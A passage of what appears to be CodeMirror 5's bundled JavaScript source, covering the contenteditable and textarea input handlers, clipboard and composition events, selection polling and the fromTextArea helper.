      if (!this$1.composing) { this$1.composing = {data: e.data, done: false}; }
    });
    on(div, "compositionend", function (e) {
      if (this$1.composing) {
        if (e.data != this$1.composing.data) { this$1.readFromDOMSoon(); }
        this$1.composing.done = true;
      }
    });

    on(div, "touchstart", function () { return input.forceCompositionEnd(); });

    on(div, "input", function () {
      if (!this$1.composing) { this$1.readFromDOMSoon(); }
    });

    function onCopyCut(e) {
      if (!belongsToInput(e) || signalDOMEvent(cm, e)) { return }
      if (cm.somethingSelected()) {
        setLastCopied({lineWise: false, text: cm.getSelections()});
        if (e.type == "cut") { cm.replaceSelection("", null, "cut"); }
      } else if (!cm.options.lineWiseCopyCut) {
        return
      } else {
        var ranges = copyableRanges(cm);
        setLastCopied({lineWise: true, text: ranges.text});
        if (e.type == "cut") {
          cm.operation(function () {
            cm.setSelections(ranges.ranges, 0, sel_dontScroll);
            cm.replaceSelection("", null, "cut");
          });
        }
      }
      if (e.clipboardData) {
        e.clipboardData.clearData();
        var content = lastCopied.text.join("\n");
        // iOS exposes the clipboard API, but seems to discard content inserted into it
        e.clipboardData.setData("Text", content);
        if (e.clipboardData.getData("Text") == content) {
          e.preventDefault();
          return
        }
      }
      // Old-fashioned briefly-focus-a-textarea hack
      var kludge = hiddenTextarea(), te = kludge.firstChild;
      cm.display.lineSpace.insertBefore(kludge, cm.display.lineSpace.firstChild);
      te.value = lastCopied.text.join("\n");
      var hadFocus = document.activeElement;
      selectInput(te);
      setTimeout(function () {
        cm.display.lineSpace.removeChild(kludge);
        hadFocus.focus();
        if (hadFocus == div) { input.showPrimarySelection(); }
      }, 50);
    }
    on(div, "copy", onCopyCut);
    on(div, "cut", onCopyCut);
  };

  ContentEditableInput.prototype.screenReaderLabelChanged = function (label) {
    // Label for screenreaders, accessibility
    if(label) {
      this.div.setAttribute('aria-label', label);
    } else {
      this.div.removeAttribute('aria-label');
    }
  };

  ContentEditableInput.prototype.prepareSelection = function () {
    var result = prepareSelection(this.cm, false);
    result.focus = document.activeElement == this.div;
    return result
  };

  ContentEditableInput.prototype.showSelection = function (info, takeFocus) {
    if (!info || !this.cm.display.view.length) { return }
    if (info.focus || takeFocus) { this.showPrimarySelection(); }
    this.showMultipleSelections(info);
  };

  ContentEditableInput.prototype.getSelection = function () {
    return this.cm.display.wrapper.ownerDocument.getSelection()
  };

  ContentEditableInput.prototype.showPrimarySelection = function () {
    var sel = this.getSelection(), cm = this.cm, prim = cm.doc.sel.primary();
    var from = prim.from(), to = prim.to();

    if (cm.display.viewTo == cm.display.viewFrom || from.line >= cm.display.viewTo || to.line < cm.display.viewFrom) {
      sel.removeAllRanges();
      return
    }

    var curAnchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
    var curFocus = domToPos(cm, sel.focusNode, sel.focusOffset);
    if (curAnchor && !curAnchor.bad && curFocus && !curFocus.bad &&
        cmp(minPos(curAnchor, curFocus), from) == 0 &&
        cmp(maxPos(curAnchor, curFocus), to) == 0)
      { return }

    var view = cm.display.view;
    var start = (from.line >= cm.display.viewFrom && posToDOM(cm, from)) ||
        {node: view[0].measure.map[2], offset: 0};
    var end = to.line < cm.display.viewTo && posToDOM(cm, to);
    if (!end) {
      var measure = view[view.length - 1].measure;
      var map = measure.maps ? measure.maps[measure.maps.length - 1] : measure.map;
      end = {node: map[map.length - 1], offset: map[map.length - 2] - map[map.length - 3]};
    }

    if (!start || !end) {
      sel.removeAllRanges();
      return
    }

    var old = sel.rangeCount && sel.getRangeAt(0), rng;
    try { rng = range(start.node, start.offset, end.offset, end.node); }
    catch(e) {} // Our model of the DOM might be outdated, in which case the range we try to set can be impossible
    if (rng) {
      if (!gecko && cm.state.focused) {
        sel.collapse(start.node, start.offset);
        if (!rng.collapsed) {
          sel.removeAllRanges();
          sel.addRange(rng);
        }
      } else {
        sel.removeAllRanges();
        sel.addRange(rng);
      }
      if (old && sel.anchorNode == null) { sel.addRange(old); }
      else if (gecko) { this.startGracePeriod(); }
    }
    this.rememberSelection();
  };

  ContentEditableInput.prototype.startGracePeriod = function () {
      var this$1 = this;

    clearTimeout(this.gracePeriod);
    this.gracePeriod = setTimeout(function () {
      this$1.gracePeriod = false;
      if (this$1.selectionChanged())
        { this$1.cm.operation(function () { return this$1.cm.curOp.selectionChanged = true; }); }
    }, 20);
  };

  ContentEditableInput.prototype.showMultipleSelections = function (info) {
    removeChildrenAndAdd(this.cm.display.cursorDiv, info.cursors);
    removeChildrenAndAdd(this.cm.display.selectionDiv, info.selection);
  };

  ContentEditableInput.prototype.rememberSelection = function () {
    var sel = this.getSelection();
    this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset = sel.anchorOffset;
    this.lastFocusNode = sel.focusNode; this.lastFocusOffset = sel.focusOffset;
  };

  ContentEditableInput.prototype.selectionInEditor = function () {
    var sel = this.getSelection();
    if (!sel.rangeCount) { return false }
    var node = sel.getRangeAt(0).commonAncestorContainer;
    return contains(this.div, node)
  };

  ContentEditableInput.prototype.focus = function () {
    if (this.cm.options.readOnly != "nocursor") {
      if (!this.selectionInEditor() || document.activeElement != this.div)
        { this.showSelection(this.prepareSelection(), true); }
      this.div.focus();
    }
  };
  ContentEditableInput.prototype.blur = function () { this.div.blur(); };
  ContentEditableInput.prototype.getField = function () { return this.div };

  ContentEditableInput.prototype.supportsTouch = function () { return true };

  ContentEditableInput.prototype.receivedFocus = function () {
    var input = this;
    if (this.selectionInEditor())
      { this.pollSelection(); }
    else
      { runInOp(this.cm, function () { return input.cm.curOp.selectionChanged = true; }); }

    function poll() {
      if (input.cm.state.focused) {
        input.pollSelection();
        input.polling.set(input.cm.options.pollInterval, poll);
      }
    }
    this.polling.set(this.cm.options.pollInterval, poll);
  };

  ContentEditableInput.prototype.selectionChanged = function () {
    var sel = this.getSelection();
    return sel.anchorNode != this.lastAnchorNode || sel.anchorOffset != this.lastAnchorOffset ||
      sel.focusNode != this.lastFocusNode || sel.focusOffset != this.lastFocusOffset
  };

  ContentEditableInput.prototype.pollSelection = function () {
    if (this.readDOMTimeout != null || this.gracePeriod || !this.selectionChanged()) { return }
    var sel = this.getSelection(), cm = this.cm;
    // On Android Chrome (version 56, at least), backspacing into an
    // uneditable block element will put the cursor in that element,
    // and then, because it's not editable, hide the virtual keyboard.
    // Because Android doesn't allow us to actually detect backspace
    // presses in a sane way, this code checks for when that happens
    // and simulates a backspace press in this case.
    if (android && chrome && this.cm.display.gutterSpecs.length && isInGutter(sel.anchorNode)) {
      this.cm.triggerOnKeyDown({type: "keydown", keyCode: 8, preventDefault: Math.abs});
      this.blur();
      this.focus();
      return
    }
    if (this.composing) { return }
    this.rememberSelection();
    var anchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
    var head = domToPos(cm, sel.focusNode, sel.focusOffset);
    if (anchor && head) { runInOp(cm, function () {
      setSelection(cm.doc, simpleSelection(anchor, head), sel_dontScroll);
      if (anchor.bad || head.bad) { cm.curOp.selectionChanged = true; }
    }); }
  };

  ContentEditableInput.prototype.pollContent = function () {
    if (this.readDOMTimeout != null) {
      clearTimeout(this.readDOMTimeout);
      this.readDOMTimeout = null;
    }

    var cm = this.cm, display = cm.display, sel = cm.doc.sel.primary();
    var from = sel.from(), to = sel.to();
    if (from.ch == 0 && from.line > cm.firstLine())
      { from = Pos(from.line - 1, getLine(cm.doc, from.line - 1).length); }
    if (to.ch == getLine(cm.doc, to.line).text.length && to.line < cm.lastLine())
      { to = Pos(to.line + 1, 0); }
    if (from.line < display.viewFrom || to.line > display.viewTo - 1) { return false }

    var fromIndex, fromLine, fromNode;
    if (from.line == display.viewFrom || (fromIndex = findViewIndex(cm, from.line)) == 0) {
      fromLine = lineNo(display.view[0].line);
      fromNode = display.view[0].node;
    } else {
      fromLine = lineNo(display.view[fromIndex].line);
      fromNode = display.view[fromIndex - 1].node.nextSibling;
    }
    var toIndex = findViewIndex(cm, to.line);
    var toLine, toNode;
    if (toIndex == display.view.length - 1) {
      toLine = display.viewTo - 1;
      toNode = display.lineDiv.lastChild;
    } else {
      toLine = lineNo(display.view[toIndex + 1].line) - 1;
      toNode = display.view[toIndex + 1].node.previousSibling;
    }

    if (!fromNode) { return false }
    var newText = cm.doc.splitLines(domTextBetween(cm, fromNode, toNode, fromLine, toLine));
    var oldText = getBetween(cm.doc, Pos(fromLine, 0), Pos(toLine, getLine(cm.doc, toLine).text.length));
    while (newText.length > 1 && oldText.length > 1) {
      if (lst(newText) == lst(oldText)) { newText.pop(); oldText.pop(); toLine--; }
      else if (newText[0] == oldText[0]) { newText.shift(); oldText.shift(); fromLine++; }
      else { break }
    }

    var cutFront = 0, cutEnd = 0;
    var newTop = newText[0], oldTop = oldText[0], maxCutFront = Math.min(newTop.length, oldTop.length);
    while (cutFront < maxCutFront && newTop.charCodeAt(cutFront) == oldTop.charCodeAt(cutFront))
      { ++cutFront; }
    var newBot = lst(newText), oldBot = lst(oldText);
    var maxCutEnd = Math.min(newBot.length - (newText.length == 1 ? cutFront : 0),
                             oldBot.length - (oldText.length == 1 ? cutFront : 0));
    while (cutEnd < maxCutEnd &&
           newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1))
      { ++cutEnd; }
    // Try to move start of change to start of selection if ambiguous
    if (newText.length == 1 && oldText.length == 1 && fromLine == from.line) {
      while (cutFront && cutFront > from.ch &&
             newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1)) {
        cutFront--;
        cutEnd++;
      }
    }

    newText[newText.length - 1] = newBot.slice(0, newBot.length - cutEnd).replace(/^\u200b+/, "");
    newText[0] = newText[0].slice(cutFront).replace(/\u200b+$/, "");

    var chFrom = Pos(fromLine, cutFront);
    var chTo = Pos(toLine, oldText.length ? lst(oldText).length - cutEnd : 0);
    if (newText.length > 1 || newText[0] || cmp(chFrom, chTo)) {
      replaceRange(cm.doc, newText, chFrom, chTo, "+input");
      return true
    }
  };

  ContentEditableInput.prototype.ensurePolled = function () {
    this.forceCompositionEnd();
  };
  ContentEditableInput.prototype.reset = function () {
    this.forceCompositionEnd();
  };
  ContentEditableInput.prototype.forceCompositionEnd = function () {
    if (!this.composing) { return }
    clearTimeout(this.readDOMTimeout);
    this.composing = null;
    this.updateFromDOM();
    this.div.blur();
    this.div.focus();
  };
  ContentEditableInput.prototype.readFromDOMSoon = function () {
      var this$1 = this;

    if (this.readDOMTimeout != null) { return }
    this.readDOMTimeout = setTimeout(function () {
      this$1.readDOMTimeout = null;
      if (this$1.composing) {
        if (this$1.composing.done) { this$1.composing = null; }
        else { return }
      }
      this$1.updateFromDOM();
    }, 80);
  };

  ContentEditableInput.prototype.updateFromDOM = function () {
      var this$1 = this;

    if (this.cm.isReadOnly() || !this.pollContent())
      { runInOp(this.cm, function () { return regChange(this$1.cm); }); }
  };

  ContentEditableInput.prototype.setUneditable = function (node) {
    node.contentEditable = "false";
  };

  ContentEditableInput.prototype.onKeyPress = function (e) {
    if (e.charCode == 0 || this.composing) { return }
    e.preventDefault();
    if (!this.cm.isReadOnly())
      { operation(this.cm, applyTextInput)(this.cm, String.fromCharCode(e.charCode == null ? e.keyCode : e.charCode), 0); }
  };

  ContentEditableInput.prototype.readOnlyChanged = function (val) {
    this.div.contentEditable = String(val != "nocursor");
  };

  ContentEditableInput.prototype.onContextMenu = function () {};
  ContentEditableInput.prototype.resetPosition = function () {};

  ContentEditableInput.prototype.needsContentAttribute = true;

  function posToDOM(cm, pos) {
    var view = findViewForLine(cm, pos.line);
    if (!view || view.hidden) { return null }
    var line = getLine(cm.doc, pos.line);
    var info = mapFromLineView(view, line, pos.line);

    var order = getOrder(line, cm.doc.direction), side = "left";
    if (order) {
      var partPos = getBidiPartAt(order, pos.ch);
      side = partPos % 2 ? "right" : "left";
    }
    var result = nodeAndOffsetInLineMap(info.map, pos.ch, side);
    result.offset = result.collapse == "right" ? result.end : result.start;
    return result
  }

  function isInGutter(node) {
    for (var scan = node; scan; scan = scan.parentNode)
      { if (/CodeMirror-gutter-wrapper/.test(scan.className)) { return true } }
    return false
  }

  function badPos(pos, bad) { if (bad) { pos.bad = true; } return pos }

  function domTextBetween(cm, from, to, fromLine, toLine) {
    var text = "", closing = false, lineSep = cm.doc.lineSeparator(), extraLinebreak = false;
    function recognizeMarker(id) { return function (marker) { return marker.id == id; } }
    function close() {
      if (closing) {
        text += lineSep;
        if (extraLinebreak) { text += lineSep; }
        closing = extraLinebreak = false;
      }
    }
    function addText(str) {
      if (str) {
        close();
        text += str;
      }
    }
    function walk(node) {
      if (node.nodeType == 1) {
        var cmText = node.getAttribute("cm-text");
        if (cmText) {
          addText(cmText);
          return
        }
        var markerID = node.getAttribute("cm-marker"), range;
        if (markerID) {
          var found = cm.findMarks(Pos(fromLine, 0), Pos(toLine + 1, 0), recognizeMarker(+markerID));
          if (found.length && (range = found[0].find(0)))
            { addText(getBetween(cm.doc, range.from, range.to).join(lineSep)); }
          return
        }
        if (node.getAttribute("contenteditable") == "false") { return }
        var isBlock = /^(pre|div|p|li|table|br)$/i.test(node.nodeName);
        if (!/^br$/i.test(node.nodeName) && node.textContent.length == 0) { return }

        if (isBlock) { close(); }
        for (var i = 0; i < node.childNodes.length; i++)
          { walk(node.childNodes[i]); }

        if (/^(pre|p)$/i.test(node.nodeName)) { extraLinebreak = true; }
        if (isBlock) { closing = true; }
      } else if (node.nodeType == 3) {
        addText(node.nodeValue.replace(/\u200b/g, "").replace(/\u00a0/g, " "));
      }
    }
    for (;;) {
      walk(from);
      if (from == to) { break }
      from = from.nextSibling;
      extraLinebreak = false;
    }
    return text
  }

  function domToPos(cm, node, offset) {
    var lineNode;
    if (node == cm.display.lineDiv) {
      lineNode = cm.display.lineDiv.childNodes[offset];
      if (!lineNode) { return badPos(cm.clipPos(Pos(cm.display.viewTo - 1)), true) }
      node = null; offset = 0;
    } else {
      for (lineNode = node;; lineNode = lineNode.parentNode) {
        if (!lineNode || lineNode == cm.display.lineDiv) { return null }
        if (lineNode.parentNode && lineNode.parentNode == cm.display.lineDiv) { break }
      }
    }
    for (var i = 0; i < cm.display.view.length; i++) {
      var lineView = cm.display.view[i];
      if (lineView.node == lineNode)
        { return locateNodeInLineView(lineView, node, offset) }
    }
  }

  function locateNodeInLineView(lineView, node, offset) {
    var wrapper = lineView.text.firstChild, bad = false;
    if (!node || !contains(wrapper, node)) { return badPos(Pos(lineNo(lineView.line), 0), true) }
    if (node == wrapper) {
      bad = true;
      node = wrapper.childNodes[offset];
      offset = 0;
      if (!node) {
        var line = lineView.rest ? lst(lineView.rest) : lineView.line;
        return badPos(Pos(lineNo(line), line.text.length), bad)
      }
    }

    var textNode = node.nodeType == 3 ? node : null, topNode = node;
    if (!textNode && node.childNodes.length == 1 && node.firstChild.nodeType == 3) {
      textNode = node.firstChild;
      if (offset) { offset = textNode.nodeValue.length; }
    }
    while (topNode.parentNode != wrapper) { topNode = topNode.parentNode; }
    var measure = lineView.measure, maps = measure.maps;

    function find(textNode, topNode, offset) {
      for (var i = -1; i < (maps ? maps.length : 0); i++) {
        var map = i < 0 ? measure.map : maps[i];
        for (var j = 0; j < map.length; j += 3) {
          var curNode = map[j + 2];
          if (curNode == textNode || curNode == topNode) {
            var line = lineNo(i < 0 ? lineView.line : lineView.rest[i]);
            var ch = map[j] + offset;
            if (offset < 0 || curNode != textNode) { ch = map[j + (offset ? 1 : 0)]; }
            return Pos(line, ch)
          }
        }
      }
    }
    var found = find(textNode, topNode, offset);
    if (found) { return badPos(found, bad) }

    // FIXME this is all really shaky. might handle the few cases it needs to handle, but likely to cause problems
    for (var after = topNode.nextSibling, dist = textNode ? textNode.nodeValue.length - offset : 0; after; after = after.nextSibling) {
      found = find(after, after.firstChild, 0);
      if (found)
        { return badPos(Pos(found.line, found.ch - dist), bad) }
      else
        { dist += after.textContent.length; }
    }
    for (var before = topNode.previousSibling, dist$1 = offset; before; before = before.previousSibling) {
      found = find(before, before.firstChild, -1);
      if (found)
        { return badPos(Pos(found.line, found.ch + dist$1), bad) }
      else
        { dist$1 += before.textContent.length; }
    }
  }

  // TEXTAREA INPUT STYLE

  var TextareaInput = function(cm) {
    this.cm = cm;
    // See input.poll and input.reset
    this.prevInput = "";

    // Flag that indicates whether we expect input to appear real soon
    // now (after some event like 'keypress' or 'input') and are
    // polling intensively.
    this.pollingFast = false;
    // Self-resetting timeout for the poller
    this.polling = new Delayed();
    // Used to work around IE issue with selection being forgotten when focus moves away from textarea
    this.hasSelection = false;
    this.composing = null;
  };

  TextareaInput.prototype.init = function (display) {
      var this$1 = this;

    var input = this, cm = this.cm;
    this.createField(display);
    var te = this.textarea;

    display.wrapper.insertBefore(this.wrapper, display.wrapper.firstChild);

    // Needed to hide big blue blinking cursor on Mobile Safari (doesn't seem to work in iOS 8 anymore)
    if (ios) { te.style.width = "0px"; }

    on(te, "input", function () {
      if (ie && ie_version >= 9 && this$1.hasSelection) { this$1.hasSelection = null; }
      input.poll();
    });

    on(te, "paste", function (e) {
      if (signalDOMEvent(cm, e) || handlePaste(e, cm)) { return }

      cm.state.pasteIncoming = +new Date;
      input.fastPoll();
    });

    function prepareCopyCut(e) {
      if (signalDOMEvent(cm, e)) { return }
      if (cm.somethingSelected()) {
        setLastCopied({lineWise: false, text: cm.getSelections()});
      } else if (!cm.options.lineWiseCopyCut) {
        return
      } else {
        var ranges = copyableRanges(cm);
        setLastCopied({lineWise: true, text: ranges.text});
        if (e.type == "cut") {
          cm.setSelections(ranges.ranges, null, sel_dontScroll);
        } else {
          input.prevInput = "";
          te.value = ranges.text.join("\n");
          selectInput(te);
        }
      }
      if (e.type == "cut") { cm.state.cutIncoming = +new Date; }
    }
    on(te, "cut", prepareCopyCut);
    on(te, "copy", prepareCopyCut);

    on(display.scroller, "paste", function (e) {
      if (eventInWidget(display, e) || signalDOMEvent(cm, e)) { return }
      if (!te.dispatchEvent) {
        cm.state.pasteIncoming = +new Date;
        input.focus();
        return
      }

      // Pass the `paste` event to the textarea so it's handled by its event listener.
      var event = new Event("paste");
      event.clipboardData = e.clipboardData;
      te.dispatchEvent(event);
    });

    // Prevent normal selection in the editor (we handle our own)
    on(display.lineSpace, "selectstart", function (e) {
      if (!eventInWidget(display, e)) { e_preventDefault(e); }
    });

    on(te, "compositionstart", function () {
      var start = cm.getCursor("from");
      if (input.composing) { input.composing.range.clear(); }
      input.composing = {
        start: start,
        range: cm.markText(start, cm.getCursor("to"), {className: "CodeMirror-composing"})
      };
    });
    on(te, "compositionend", function () {
      if (input.composing) {
        input.poll();
        input.composing.range.clear();
        input.composing = null;
      }
    });
  };

  TextareaInput.prototype.createField = function (_display) {
    // Wraps and hides input textarea
    this.wrapper = hiddenTextarea();
    // The semihidden textarea that is focused when the editor is
    // focused, and receives input.
    this.textarea = this.wrapper.firstChild;
  };

  TextareaInput.prototype.screenReaderLabelChanged = function (label) {
    // Label for screenreaders, accessibility
    if(label) {
      this.textarea.setAttribute('aria-label', label);
    } else {
      this.textarea.removeAttribute('aria-label');
    }
  };

  TextareaInput.prototype.prepareSelection = function () {
    // Redraw the selection and/or cursor
    var cm = this.cm, display = cm.display, doc = cm.doc;
    var result = prepareSelection(cm);

    // Move the hidden textarea near the cursor to prevent scrolling artifacts
    if (cm.options.moveInputWithCursor) {
      var headPos = cursorCoords(cm, doc.sel.primary().head, "div");
      var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();
      result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,
                                          headPos.top + lineOff.top - wrapOff.top));
      result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,
                                           headPos.left + lineOff.left - wrapOff.left));
    }

    return result
  };

  TextareaInput.prototype.showSelection = function (drawn) {
    var cm = this.cm, display = cm.display;
    removeChildrenAndAdd(display.cursorDiv, drawn.cursors);
    removeChildrenAndAdd(display.selectionDiv, drawn.selection);
    if (drawn.teTop != null) {
      this.wrapper.style.top = drawn.teTop + "px";
      this.wrapper.style.left = drawn.teLeft + "px";
    }
  };

  // Reset the input to correspond to the selection (or to be empty,
  // when not typing and nothing is selected)
  TextareaInput.prototype.reset = function (typing) {
    if (this.contextMenuPending || this.composing) { return }
    var cm = this.cm;
    if (cm.somethingSelected()) {
      this.prevInput = "";
      var content = cm.getSelection();
      this.textarea.value = content;
      if (cm.state.focused) { selectInput(this.textarea); }
      if (ie && ie_version >= 9) { this.hasSelection = content; }
    } else if (!typing) {
      this.prevInput = this.textarea.value = "";
      if (ie && ie_version >= 9) { this.hasSelection = null; }
    }
  };

  TextareaInput.prototype.getField = function () { return this.textarea };

  TextareaInput.prototype.supportsTouch = function () { return false };

  TextareaInput.prototype.focus = function () {
    if (this.cm.options.readOnly != "nocursor" && (!mobile || activeElt() != this.textarea)) {
      try { this.textarea.focus(); }
      catch (e) {} // IE8 will throw if the textarea is display: none or not in DOM
    }
  };

  TextareaInput.prototype.blur = function () { this.textarea.blur(); };

  TextareaInput.prototype.resetPosition = function () {
    this.wrapper.style.top = this.wrapper.style.left = 0;
  };

  TextareaInput.prototype.receivedFocus = function () { this.slowPoll(); };

  // Poll for input changes, using the normal rate of polling. This
  // runs as long as the editor is focused.
  TextareaInput.prototype.slowPoll = function () {
      var this$1 = this;

    if (this.pollingFast) { return }
    this.polling.set(this.cm.options.pollInterval, function () {
      this$1.poll();
      if (this$1.cm.state.focused) { this$1.slowPoll(); }
    });
  };

  // When an event has just come in that is likely to add or change
  // something in the input textarea, we poll faster, to ensure that
  // the change appears on the screen quickly.
  TextareaInput.prototype.fastPoll = function () {
    var missed = false, input = this;
    input.pollingFast = true;
    function p() {
      var changed = input.poll();
      if (!changed && !missed) {missed = true; input.polling.set(60, p);}
      else {input.pollingFast = false; input.slowPoll();}
    }
    input.polling.set(20, p);
  };

  // Read input from the textarea, and update the document to match.
  // When something is selected, it is present in the textarea, and
  // selected (unless it is huge, in which case a placeholder is
  // used). When nothing is selected, the cursor sits after previously
  // seen text (can be empty), which is stored in prevInput (we must
  // not reset the textarea when typing, because that breaks IME).
  TextareaInput.prototype.poll = function () {
      var this$1 = this;

    var cm = this.cm, input = this.textarea, prevInput = this.prevInput;
    // Since this is called a *lot*, try to bail out as cheaply as
    // possible when it is clear that nothing happened. hasSelection
    // will be the case when there is a lot of text in the textarea,
    // in which case reading its value would be expensive.
    if (this.contextMenuPending || !cm.state.focused ||
        (hasSelection(input) && !prevInput && !this.composing) ||
        cm.isReadOnly() || cm.options.disableInput || cm.state.keySeq)
      { return false }

    var text = input.value;
    // If nothing changed, bail.
    if (text == prevInput && !cm.somethingSelected()) { return false }
    // Work around nonsensical selection resetting in IE9/10, and
    // inexplicable appearance of private area unicode characters on
    // some key combos in Mac (#2689).
    if (ie && ie_version >= 9 && this.hasSelection === text ||
        mac && /[\uf700-\uf7ff]/.test(text)) {
      cm.display.input.reset();
      return false
    }

    if (cm.doc.sel == cm.display.selForContextMenu) {
      var first = text.charCodeAt(0);
      if (first == 0x200b && !prevInput) { prevInput = "\u200b"; }
      if (first == 0x21da) { this.reset(); return this.cm.execCommand("undo") }
    }
    // Find the part of the input that is actually new
    var same = 0, l = Math.min(prevInput.length, text.length);
    while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) { ++same; }

    runInOp(cm, function () {
      applyTextInput(cm, text.slice(same), prevInput.length - same,
                     null, this$1.composing ? "*compose" : null);

      // Don't leave long text in the textarea, since it makes further polling slow
      if (text.length > 1000 || text.indexOf("\n") > -1) { input.value = this$1.prevInput = ""; }
      else { this$1.prevInput = text; }

      if (this$1.composing) {
        this$1.composing.range.clear();
        this$1.composing.range = cm.markText(this$1.composing.start, cm.getCursor("to"),
                                           {className: "CodeMirror-composing"});
      }
    });
    return true
  };

  TextareaInput.prototype.ensurePolled = function () {
    if (this.pollingFast && this.poll()) { this.pollingFast = false; }
  };

  TextareaInput.prototype.onKeyPress = function () {
    if (ie && ie_version >= 9) { this.hasSelection = null; }
    this.fastPoll();
  };

  TextareaInput.prototype.onContextMenu = function (e) {
    var input = this, cm = input.cm, display = cm.display, te = input.textarea;
    if (input.contextMenuPending) { input.contextMenuPending(); }
    var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;
    if (!pos || presto) { return } // Opera is difficult.

    // Reset the current text selection only if the click is done outside of the selection
    // and 'resetSelectionOnContextMenu' option is true.
    var reset = cm.options.resetSelectionOnContextMenu;
    if (reset && cm.doc.sel.contains(pos) == -1)
      { operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll); }

    var oldCSS = te.style.cssText, oldWrapperCSS = input.wrapper.style.cssText;
    var wrapperBox = input.wrapper.offsetParent.getBoundingClientRect();
    input.wrapper.style.cssText = "position: static";
    te.style.cssText = "position: absolute; width: 30px; height: 30px;\n      top: " + (e.clientY - wrapperBox.top - 5) + "px; left: " + (e.clientX - wrapperBox.left - 5) + "px;\n      z-index: 1000; background: " + (ie ? "rgba(255, 255, 255, .05)" : "transparent") + ";\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
    var oldScrollY;
    if (webkit) { oldScrollY = window.scrollY; } // Work around Chrome issue (#2712)
    display.input.focus();
    if (webkit) { window.scrollTo(null, oldScrollY); }
    display.input.reset();
    // Adds "Select all" to context menu in FF
    if (!cm.somethingSelected()) { te.value = input.prevInput = " "; }
    input.contextMenuPending = rehide;
    display.selForContextMenu = cm.doc.sel;
    clearTimeout(display.detectingSelectAll);

    // Select-all will be greyed out if there's nothing to select, so
    // this adds a zero-width space so that we can later check whether
    // it got selected.
    function prepareSelectAllHack() {
      if (te.selectionStart != null) {
        var selected = cm.somethingSelected();
        var extval = "\u200b" + (selected ? te.value : "");
        te.value = "\u21da"; // Used to catch context-menu undo
        te.value = extval;
        input.prevInput = selected ? "" : "\u200b";
        te.selectionStart = 1; te.selectionEnd = extval.length;
        // Re-set this, in case some other handler touched the
        // selection in the meantime.
        display.selForContextMenu = cm.doc.sel;
      }
    }
    function rehide() {
      if (input.contextMenuPending != rehide) { return }
      input.contextMenuPending = false;
      input.wrapper.style.cssText = oldWrapperCSS;
      te.style.cssText = oldCSS;
      if (ie && ie_version < 9) { display.scrollbars.setScrollTop(display.scroller.scrollTop = scrollPos); }

      // Try to detect the user choosing select-all
      if (te.selectionStart != null) {
        if (!ie || (ie && ie_version < 9)) { prepareSelectAllHack(); }
        var i = 0, poll = function () {
          if (display.selForContextMenu == cm.doc.sel && te.selectionStart == 0 &&
              te.selectionEnd > 0 && input.prevInput == "\u200b") {
            operation(cm, selectAll)(cm);
          } else if (i++ < 10) {
            display.detectingSelectAll = setTimeout(poll, 500);
          } else {
            display.selForContextMenu = null;
            display.input.reset();
          }
        };
        display.detectingSelectAll = setTimeout(poll, 200);
      }
    }

    if (ie && ie_version >= 9) { prepareSelectAllHack(); }
    if (captureRightClick) {
      e_stop(e);
      var mouseup = function () {
        off(window, "mouseup", mouseup);
        setTimeout(rehide, 20);
      };
      on(window, "mouseup", mouseup);
    } else {
      setTimeout(rehide, 50);
    }
  };

  TextareaInput.prototype.readOnlyChanged = function (val) {
    if (!val) { this.reset(); }
    this.textarea.disabled = val == "nocursor";
    this.textarea.readOnly = !!val;
  };

  TextareaInput.prototype.setUneditable = function () {};

  TextareaInput.prototype.needsContentAttribute = false;

  function fromTextArea(textarea, options) {
    options = options ? copyObj(options) : {};
    options.value = textarea.value;
    if (!options.tabindex && textarea.tabIndex)
      { options.tabindex = textarea.tabIndex; }
    if (!options.placeholder && textarea.placeholder)
      { options.placeholder = textarea.placeholder; }
    // Set autofocus to true if this textarea is focused, or if it has
    // autofocus and no other element is focused.
    if (options.autofocus == null) {
      var hasFocus = activeElt();
      options.autofocus = hasFocus == textarea ||
        textarea.getAttribute("autofocus") != null && hasFocus == document.body;
    }

    function save() {textarea.value = cm.getValue();}

    var realSubmit;
    if (textarea.form) {
      on(textarea.form, "submit", save);
      // Deplorable hack to make the submit method do the right thing.
      if (!options.leaveSubmitMethodAlone) {
        var form = textarea.form;
        realSubmit = form.submit;
        try {
          var wrappedSubmit = form.submit = function () {
            save();
            form.submit = realSubmit;
            form.submit();
            form.submit = wrappedSubmit;
          };
        } catch(e) {}
      }
    }

    options.finishInit = function (cm) {
      cm.save = save;
      cm.getTextArea = function () { return textarea; };
      cm.toTextArea = function () {
        cm.toTextArea = isNaN; // Prevent this from being ran twice
        save();
        textarea.parentNode.removeChild(cm.getWrapperElement());
        textarea.style.display = "";
        if (textarea.form) {
          off(textarea.form, "submit", save);
          if (!options.leaveSubmitMethodAlone && typeof textarea.form.submit == "function")
            { textarea.form.submit = realSubmit; }
        }
      };
    };

    textarea.style.display = "none";
    var cm = CodeMirror(function (node) { return textarea.parentNode.insertBefore(node, textarea.nextSibling); },
      options);
    return cm
  }

  function addLegacyProps(CodeMirror) {
    CodeMirror.off = off;
    CodeMirror.on = on;
    CodeMirror.wheelEventPixels = wheelEventPixels;
    CodeMirror.Doc = Doc;
    CodeMirror.splitLines = splitLinesAuto;
    CodeMirror.countColumn = countColumn;
    CodeMirror.findColumn = findColumn;
    CodeMirror.isWordChar = isWordCharBasic;
    CodeMirror.Pass = Pass;
    CodeMirror.signal = signal;
    CodeMirror.Line = Line;
    CodeMirror.changeEnd = changeEnd;
    CodeMirror.scrollbarModel = scrollbarModel;
    CodeMirror.Pos = Pos;
    CodeMirror.cmpPos = cmp;
    CodeMirror.modes = modes;
    CodeMirror.mimeModes = mimeModes;
    CodeMirror.resolveMode = resolveMode;
    CodeMirror.getMode = getMode;
    CodeMirror.modeExtensions = modeExtensions;
    CodeMirror.extendMode = extendMode;
    CodeMirror.copyState = copyState;
    CodeMirror.startState = startState;
